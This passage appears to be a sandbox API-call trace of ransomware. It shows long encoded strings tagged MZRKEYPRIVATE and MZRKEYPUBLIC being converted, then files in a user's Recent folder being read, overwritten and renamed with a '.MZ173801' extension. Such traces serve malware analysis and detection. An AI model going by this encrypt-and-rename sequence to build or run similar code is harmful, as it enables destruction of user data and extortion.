lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.171] GetCurrentThreadId () returned 0xab4 [0151.171] GetCurrentThreadId () returned 0xab4 [0151.171] GetCurrentThreadId () returned 0xab4 [0151.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.172] GetCurrentThreadId () returned 0xab4 [0151.172] GetCurrentThreadId () returned 0xab4 [0151.172] GetCurrentThreadId () returned 0xab4 [0151.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OTKm8-mOEk l8967aX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otkm8-moek l8967ax.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.172] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.172] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.172] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x403 [0151.172] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.173] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x403, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x403, lpOverlapped=0x0) returned 1 [0151.174] CloseHandle (hObject=0x280) returned 1 [0151.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OTKm8-mOEk l8967aX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otkm8-moek l8967ax.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.175] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x403, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x403, lpOverlapped=0x0) returned 1 [0151.176] CloseHandle (hObject=0x280) returned 1 [0151.185] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OTKm8-mOEk l8967aX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otkm8-moek l8967ax.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OTKm8-mOEk l8967aX.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otkm8-moek l8967ax.lnk.mz173801")) returned 1 [0151.185] GetCurrentThreadId () returned 0xab4 [0151.185] GetCurrentThreadId () returned 0xab4 [0151.185] GetCurrentThreadId () returned 0xab4 [0151.185] GetCurrentThreadId () returned 0xab4 [0151.185] GetCurrentThreadId () returned 0xab4 [0151.186] GetCurrentThreadId () returned 0xab4 [0151.186] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54a186e1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54a186e1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54a186e1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Ozc5X.lnk", cAlternateFileName="")) returned 1 [0151.186] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.186] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ozc5X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ozc5x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54a186e1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54a186e1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54a186e1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3be)) returned 1 [0151.186] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ozc5X.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ozc5x.lnk")) returned 0x20 [0151.186] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ozc5X.lnk", dwFileAttributes=0x80) returned 1 [0151.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 